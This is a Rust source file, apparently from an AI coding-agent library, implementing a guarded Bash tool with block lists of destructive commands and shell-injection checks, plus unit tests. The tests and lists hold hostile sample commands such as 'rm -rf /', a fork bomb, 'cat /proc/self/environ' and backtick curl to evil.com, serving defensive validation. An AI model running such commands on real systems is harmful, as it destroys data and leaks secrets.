Skip to main content

agent_code_lib/tools/
bash.rs

1//! Bash tool: execute shell commands.
2//!
3//! Runs commands via the system shell. Features:
4//! - Timeout with configurable duration (default 2min, max 10min)
5//! - Background execution for long-running commands
6//! - Sandbox mode: blocks writes outside the project directory
7//! - Destructive command warnings
8//! - Output truncation for large results
9//! - Cancellation via CancellationToken
10
11use async_trait::async_trait;
12use serde_json::json;
13use std::path::PathBuf;
14use std::process::Stdio;
15use std::time::Duration;
16use tokio::io::AsyncReadExt;
17use tokio::process::Command;
18
19use super::{Tool, ToolContext, ToolResult};
20use crate::error::ToolError;
21
22/// Maximum output size before truncation (256KB).
23const MAX_OUTPUT_BYTES: usize = 256 * 1024;
24
25/// Commands that are potentially destructive and warrant a warning.
26const DESTRUCTIVE_PATTERNS: &[&str] = &[
27    // Filesystem destruction.
28    "rm -rf",
29    "rm -r /",
30    "rm -fr",
31    "rmdir",
32    "shred",
33    // Git destructive operations.
34    "git reset --hard",
35    "git clean -f",
36    "git clean -d",
37    "git push --force",
38    "git push -f",
39    "git checkout -- .",
40    "git checkout -f",
41    "git restore .",
42    "git branch -D",
43    "git branch --delete --force",
44    "git stash drop",
45    "git stash clear",
46    "git rebase --abort",
47    // Database operations.
48    "DROP TABLE",
49    "DROP DATABASE",
50    "DROP SCHEMA",
51    "DELETE FROM",
52    "TRUNCATE",
53    // System operations.
54    "shutdown",
55    "reboot",
56    "halt",
57    "poweroff",
58    "init 0",
59    "init 6",
60    "mkfs",
61    "dd if=",
62    "dd of=/dev",
63    "> /dev/sd",
64    "wipefs",
65    // Permission escalation.
66    "chmod -R 777",
67    "chmod 777",
68    "chown -R",
69    // Process/system danger.
70    "kill -9",
71    "killall",
72    "pkill -9",
73    // Fork bomb.
74    ":(){ :|:& };:",
75    // NPM/package destruction.
76    "npm publish",
77    "cargo publish",
78    // Docker cleanup.
79    "docker system prune -a",
80    "docker volume prune",
81    // Kubernetes.
82    "kubectl delete namespace",
83    "kubectl delete --all",
84    // Infrastructure.
85    "terraform destroy",
86    "pulumi destroy",
87];
88
89/// Paths that should never be written to.
90const BLOCKED_WRITE_PATHS: &[&str] = &[
91    "/etc/", "/usr/", "/bin/", "/sbin/", "/boot/", "/sys/", "/proc/",
92];
93
94pub struct BashTool;
95
96#[async_trait]
97impl Tool for BashTool {
98    fn name(&self) -> &'static str {
99        "Bash"
100    }
101
102    fn description(&self) -> &'static str {
103        "Executes a shell command and returns its output."
104    }
105
106    fn input_schema(&self) -> serde_json::Value {
107        json!({
108            "type": "object",
109            "required": ["command"],
110            "properties": {
111                "command": {
112                    "type": "string",
113                    "description": "The command to execute"
114                },
115                "timeout": {
116                    "type": "integer",
117                    "description": "Timeout in milliseconds (max 600000)"
118                },
119                "description": {
120                    "type": "string",
121                    "description": "Description of what this command does"
122                },
123                "run_in_background": {
124                    "type": "boolean",
125                    "description": "Run the command in the background and return immediately"
126                }
127            }
128        })
129    }
130
131    fn is_read_only(&self) -> bool {
132        false
133    }
134
135    fn is_concurrency_safe(&self) -> bool {
136        false
137    }
138
139    fn get_path(&self, _input: &serde_json::Value) -> Option<PathBuf> {
140        None
141    }
142
143    fn validate_input(&self, input: &serde_json::Value) -> Result<(), String> {
144        let command = input.get("command").and_then(|v| v.as_str()).unwrap_or("");
145
146        // Check for destructive commands.
147        let cmd_lower = command.to_lowercase();
148        for pattern in DESTRUCTIVE_PATTERNS {
149            if cmd_lower.contains(&pattern.to_lowercase()) {
150                return Err(format!(
151                    "Potentially destructive command detected: contains '{pattern}'. \
152                     This command could cause data loss or system damage. \
153                     If you're sure, ask the user for confirmation first."
154                ));
155            }
156        }
157
158        // Check for piped destructive patterns.
159        // Split on pipes and check each segment's base command.
160        for segment in command.split('|') {
161            let trimmed = segment.trim();
162            let base_cmd = trimmed.split_whitespace().next().unwrap_or("");
163            if matches!(
164                base_cmd,
165                "rm" | "shred" | "dd" | "mkfs" | "wipefs" | "shutdown" | "reboot" | "halt"
166            ) {
167                return Err(format!(
168                    "Potentially destructive command in pipe: '{base_cmd}'. \
169                     Ask the user for confirmation first."
170                ));
171            }
172        }
173
174        // Check for chained destructive commands (&&, ;).
175        for segment in cmd_lower.split("&&").flat_map(|s| s.split(';')) {
176            let trimmed = segment.trim();
177            for pattern in DESTRUCTIVE_PATTERNS {
178                if trimmed.contains(&pattern.to_lowercase()) {
179                    return Err(format!(
180                        "Potentially destructive command in chain: contains '{pattern}'. \
181                         Ask the user for confirmation first."
182                    ));
183                }
184            }
185        }
186
187        // Advanced security checks (inspired by TS bashSecurity.ts).
188        check_shell_injection(command)?;
189
190        // Block writes to system paths.
191        for path in BLOCKED_WRITE_PATHS {
192            if cmd_lower.contains(&format!(">{path}"))
193                || cmd_lower.contains(&format!("tee {path}"))
194                || cmd_lower.contains(&"mv ".to_string()) && cmd_lower.contains(path)
195            {
196                return Err(format!(
197                    "Cannot write to system path '{path}'. \
198                     Operations on system directories are not allowed."
199                ));
200            }
201        }
202
203        // Tree-sitter AST analysis (catches obfuscation that regex misses).
204        if let Some(parsed) = super::bash_parse::parse_bash(command) {
205            let violations = super::bash_parse::check_parsed_security(&parsed);
206            if let Some(first) = violations.first() {
207                return Err(format!("AST security check: {first}"));
208            }
209        }
210
211        Ok(())
212    }
213
214    async fn call(
215        &self,
216        input: serde_json::Value,
217        ctx: &ToolContext,
218    ) -> Result<ToolResult, ToolError> {
219        let command = input
220            .get("command")
221            .and_then(|v| v.as_str())
222            .ok_or_else(|| ToolError::InvalidInput("'command' is required".into()))?;
223
224        let timeout_ms = input
225            .get("timeout")
226            .and_then(|v| v.as_u64())
227            .unwrap_or(120_000)
228            .min(600_000);
229
230        let run_in_background = input
231            .get("run_in_background")
232            .and_then(|v| v.as_bool())
233            .unwrap_or(false);
234
235        // Background execution: spawn and return immediately.
236        if run_in_background {
237            return run_background(command, &ctx.cwd, ctx.task_manager.as_ref()).await;
238        }
239
240        let mut child = Command::new("bash")
241            .arg("-c")
242            .arg(command)
243            .current_dir(&ctx.cwd)
244            .stdout(Stdio::piped())
245            .stderr(Stdio::piped())
246            .spawn()
247            .map_err(|e| ToolError::ExecutionFailed(format!("Failed to spawn: {e}")))?;
248
249        let timeout = Duration::from_millis(timeout_ms);
250
251        let mut stdout_handle = child.stdout.take().unwrap();
252        let mut stderr_handle = child.stderr.take().unwrap();
253
254        let mut stdout_buf = Vec::new();
255        let mut stderr_buf = Vec::new();
256
257        let result = tokio::select! {
258            r = async {
259                let (so, se) = tokio::join!(
260                    async { stdout_handle.read_to_end(&mut stdout_buf).await },
261                    async { stderr_handle.read_to_end(&mut stderr_buf).await },
262                );
263                so?;
264                se?;
265                child.wait().await
266            } => {
267                match r {
268                    Ok(status) => {
269                        let exit_code = status.code().unwrap_or(-1);
270                        let content = format_output(&stdout_buf, &stderr_buf, exit_code);
271
272                        Ok(ToolResult {
273                            content,
274                            is_error: exit_code != 0,
275                        })
276                    }
277                    Err(e) => Err(ToolError::ExecutionFailed(e.to_string())),
278                }
279            }
280            _ = tokio::time::sleep(timeout) => {
281                let _ = child.kill().await;
282                Err(ToolError::Timeout(timeout_ms))
283            }
284            _ = ctx.cancel.cancelled() => {
285                let _ = child.kill().await;
286                Err(ToolError::Cancelled)
287            }
288        };
289
290        result
291    }
292}
293
294/// Run a command in the background, returning a task ID immediately.
295async fn run_background(
296    command: &str,
297    cwd: &std::path::Path,
298    task_mgr: Option<&std::sync::Arc<crate::services::background::TaskManager>>,
299) -> Result<ToolResult, ToolError> {
300    let default_mgr = crate::services::background::TaskManager::new();
301    let task_mgr = task_mgr.map(|m| m.as_ref()).unwrap_or(&default_mgr);
302    let task_id = task_mgr
303        .spawn_shell(command, command, cwd)
304        .await
305        .map_err(|e| ToolError::ExecutionFailed(format!("Background spawn failed: {e}")))?;
306
307    Ok(ToolResult::success(format!(
308        "Command running in background (task {task_id}). \
309         Use TaskOutput to check results when complete."
310    )))
311}
312
313/// Format stdout/stderr into a single output string with truncation.
314fn format_output(stdout: &[u8], stderr: &[u8], exit_code: i32) -> String {
315    let stdout_str = String::from_utf8_lossy(stdout);
316    let stderr_str = String::from_utf8_lossy(stderr);
317
318    let mut content = String::new();
319
320    if !stdout_str.is_empty() {
321        if stdout_str.len() > MAX_OUTPUT_BYTES {
322            content.push_str(&stdout_str[..MAX_OUTPUT_BYTES]);
323            content.push_str(&format!(
324                "\n\n(stdout truncated: {} bytes total)",
325                stdout_str.len()
326            ));
327        } else {
328            content.push_str(&stdout_str);
329        }
330    }
331
332    if !stderr_str.is_empty() {
333        if !content.is_empty() {
334            content.push('\n');
335        }
336        let stderr_display = if stderr_str.len() > MAX_OUTPUT_BYTES / 4 {
337            format!(
338                "{}...\n(stderr truncated: {} bytes total)",
339                &stderr_str[..MAX_OUTPUT_BYTES / 4],
340                stderr_str.len()
341            )
342        } else {
343            stderr_str.to_string()
344        };
345        content.push_str(&format!("stderr:\n{stderr_display}"));
346    }
347
348    if content.is_empty() {
349        content = "(no output)".to_string();
350    }
351
352    if exit_code != 0 {
353        content.push_str(&format!("\n\nExit code: {exit_code}"));
354    }
355
356    content
357}
358
359/// Advanced shell injection and obfuscation detection.
360///
361/// Catches attack patterns that simple string matching misses:
362/// variable injection, encoding tricks, process substitution, etc.
363fn check_shell_injection(command: &str) -> Result<(), String> {
364    // IFS injection: changing field separator to bypass argument parsing.
365    if command.contains("IFS=") {
366        return Err(
367            "IFS manipulation detected. This can be used to bypass command parsing.".into(),
368        );
369    }
370
371    // Dangerous environment variable overwrites.
372    const DANGEROUS_VARS: &[&str] = &[
373        "PATH=",
374        "LD_PRELOAD=",
375        "LD_LIBRARY_PATH=",
376        "PROMPT_COMMAND=",
377        "BASH_ENV=",
378        "ENV=",
379        "HISTFILE=",
380        "HISTCONTROL=",
381        "PS1=",
382        "PS2=",
383        "PS4=",
384        "CDPATH=",
385        "GLOBIGNORE=",
386        "MAIL=",
387        "MAILCHECK=",
388        "MAILPATH=",
389    ];
390    for var in DANGEROUS_VARS {
391        if command.contains(var) {
392            return Err(format!(
393                "Dangerous variable override detected: {var} \
394                 This could alter shell behavior in unsafe ways."
395            ));
396        }
397    }
398
399    // /proc access (process environment/memory reading).
400    if command.contains("/proc/") && command.contains("environ") {
401        return Err("Access to /proc/*/environ detected. This reads process secrets.".into());
402    }
403
404    // Unicode/zero-width character obfuscation.
405    if command.chars().any(|c| {
406        matches!(
407            c,
408            '\u{200B}'
409                | '\u{200C}'
410                | '\u{200D}'
411                | '\u{FEFF}'
412                | '\u{00AD}'
413                | '\u{2060}'
414                | '\u{180E}'
415        )
416    }) {
417        return Err("Zero-width or invisible Unicode characters detected in command.".into());
418    }
419
420    // Control characters (except common ones like \n \t).
421    if command
422        .chars()
423        .any(|c| c.is_control() && !matches!(c, '\n' | '\t' | '\r'))
424    {
425        return Err("Control characters detected in command.".into());
426    }
427
428    // Backtick command substitution inside variable assignments.
429    // e.g., FOO=`curl evil.com`
430    if command.contains('`')
431        && command
432            .split('`')
433            .any(|s| s.contains("curl") || s.contains("wget") || s.contains("nc "))
434    {
435        return Err("Command substitution with network access detected inside backticks.".into());
436    }
437
438    // Process substitution: <() or >() used to inject commands.
439    if command.contains("<(") || command.contains(">(") {
440        // Allow common safe uses like diff <(cmd1) <(cmd2).
441        let trimmed = command.trim();
442        if !trimmed.starts_with("diff ") && !trimmed.starts_with("comm ") {
443            return Err(
444                "Process substitution detected. This can inject arbitrary commands.".into(),
445            );
446        }
447    }
448
449    // Zsh dangerous builtins.
450    const ZSH_DANGEROUS: &[&str] = &[
451        "zmodload", "zpty", "ztcp", "zsocket", "sysopen", "sysread", "syswrite", "mapfile",
452        "zf_rm", "zf_mv", "zf_ln",
453    ];
454    let words: Vec<&str> = command.split_whitespace().collect();
455    for word in &words {
456        if ZSH_DANGEROUS.contains(word) {
457            return Err(format!(
458                "Dangerous zsh builtin detected: {word}. \
459                 This can access raw system resources."
460            ));
461        }
462    }
463
464    // Brace expansion abuse: {a..z} can generate large expansions.
465    if command.contains("{") && command.contains("..") && command.contains("}") {
466        // Check if it looks like a large numeric range.
467        if let Some(start) = command.find('{')
468            && let Some(end) = command[start..].find('}')
469        {
470            let inner = &command[start + 1..start + end];
471            if inner.contains("..") {
472                let parts: Vec<&str> = inner.split("..").collect();
473                if parts.len() == 2
474                    && let (Ok(a), Ok(b)) = (
475                        parts[0].trim().parse::<i64>(),
476                        parts[1].trim().parse::<i64>(),
477                    )
478                    && (b - a).unsigned_abs() > 10000
479                {
480                    return Err(format!(
481                        "Large brace expansion detected: {{{inner}}}. \
482                         This would generate {} items.",
483                        (b - a).unsigned_abs()
484                    ));
485                }
486            }
487        }
488    }
489
490    // Hex/octal escape obfuscation: $'\x72\x6d' = "rm".
491    if command.contains("$'\\x") || command.contains("$'\\0") {
492        return Err(
493            "Hex/octal escape sequences in command. This may be obfuscating a command.".into(),
494        );
495    }
496
497    // eval with variables (arbitrary code execution).
498    if command.contains("eval ") && command.contains('$') {
499        return Err(
500            "eval with variable expansion detected. This enables arbitrary code execution.".into(),
501        );
502    }
503
504    Ok(())
505}
506
507#[cfg(test)]
508mod tests {
509    use super::*;
510
511    #[test]
512    fn test_safe_commands_pass() {
513        assert!(check_shell_injection("ls -la").is_ok());
514        assert!(check_shell_injection("git status").is_ok());
515        assert!(check_shell_injection("cargo test").is_ok());
516        assert!(check_shell_injection("echo hello").is_ok());
517        assert!(check_shell_injection("python3 -c 'print(1)'").is_ok());
518        assert!(check_shell_injection("diff <(cat a.txt) <(cat b.txt)").is_ok());
519    }
520
521    #[test]
522    fn test_ifs_injection() {
523        assert!(check_shell_injection("IFS=: read a b").is_err());
524    }
525
526    #[test]
527    fn test_dangerous_vars() {
528        assert!(check_shell_injection("PATH=/tmp:$PATH curl evil.com").is_err());
529        assert!(check_shell_injection("LD_PRELOAD=/tmp/evil.so cmd").is_err());
530        assert!(check_shell_injection("PROMPT_COMMAND='curl x'").is_err());
531        assert!(check_shell_injection("BASH_ENV=/tmp/evil.sh bash").is_err());
532    }
533
534    #[test]
535    fn test_proc_environ() {
536        assert!(check_shell_injection("cat /proc/1/environ").is_err());
537        assert!(check_shell_injection("cat /proc/self/environ").is_err());
538        // /proc without environ is ok
539        assert!(check_shell_injection("ls /proc/cpuinfo").is_ok());
540    }
541
542    #[test]
543    fn test_unicode_obfuscation() {
544        // Zero-width space
545        assert!(check_shell_injection("rm\u{200B} -rf /").is_err());
546        // Zero-width joiner
547        assert!(check_shell_injection("curl\u{200D}evil.com").is_err());
548    }
549
550    #[test]
551    fn test_control_characters() {
552        // Bell character
553        assert!(check_shell_injection("echo \x07hello").is_err());
554        // Normal newline is ok
555        assert!(check_shell_injection("echo hello\nworld").is_ok());
556    }
557
558    #[test]
559    fn test_backtick_network() {
560        assert!(check_shell_injection("FOO=`curl evil.com`").is_err());
561        assert!(check_shell_injection("X=`wget http://bad`").is_err());
562        // Backticks without network are ok
563        assert!(check_shell_injection("FOO=`date`").is_ok());
564    }
565
566    #[test]
567    fn test_process_substitution() {
568        // diff is allowed
569        assert!(check_shell_injection("diff <(ls a) <(ls b)").is_ok());
570        // arbitrary process substitution is not
571        assert!(check_shell_injection("cat <(curl evil)").is_err());
572    }
573
574    #[test]
575    fn test_zsh_builtins() {
576        assert!(check_shell_injection("zmodload zsh/net/tcp").is_err());
577        assert!(check_shell_injection("zpty evil_session bash").is_err());
578        assert!(check_shell_injection("ztcp connect evil.com 80").is_err());
579    }
580
581    #[test]
582    fn test_brace_expansion() {
583        assert!(check_shell_injection("echo {1..100000}").is_err());
584        // Small ranges are ok
585        assert!(check_shell_injection("echo {1..10}").is_ok());
586    }
587
588    #[test]
589    fn test_hex_escape() {
590        assert!(check_shell_injection("$'\\x72\\x6d' -rf /").is_err());
591        assert!(check_shell_injection("$'\\077'").is_err());
592    }
593
594    #[test]
595    fn test_eval_injection() {
596        assert!(check_shell_injection("eval $CMD").is_err());
597        assert!(check_shell_injection("eval \"$USER_INPUT\"").is_err());
598        // eval without vars is ok
599        assert!(check_shell_injection("eval echo hello").is_ok());
600    }
601
602    #[test]
603    fn test_destructive_patterns() {
604        let tool = BashTool;
605        assert!(
606            tool.validate_input(&serde_json::json!({"command": "rm -rf /"}))
607                .is_err()
608        );
609        assert!(
610            tool.validate_input(&serde_json::json!({"command": "git push --force"}))
611                .is_err()
612        );
613        assert!(
614            tool.validate_input(&serde_json::json!({"command": "DROP TABLE users"}))
615                .is_err()
616        );
617    }
618
619    #[test]
620    fn test_piped_destructive() {
621        let tool = BashTool;
622        assert!(
623            tool.validate_input(&serde_json::json!({"command": "find . | rm -rf"}))
624                .is_err()
625        );
626    }
627
628    #[test]
629    fn test_chained_destructive() {
630        let tool = BashTool;
631        assert!(
632            tool.validate_input(&serde_json::json!({"command": "echo hi && git reset --hard"}))
633                .is_err()
634        );
635    }
636
637    #[test]
638    fn test_safe_commands_validate() {
639        let tool = BashTool;
640        assert!(
641            tool.validate_input(&serde_json::json!({"command": "ls -la"}))
642                .is_ok()
643        );
644        assert!(
645            tool.validate_input(&serde_json::json!({"command": "cargo test"}))
646                .is_ok()
647        );
648        assert!(
649            tool.validate_input(&serde_json::json!({"command": "git status"}))
650                .is_ok()
651        );
652    }
653}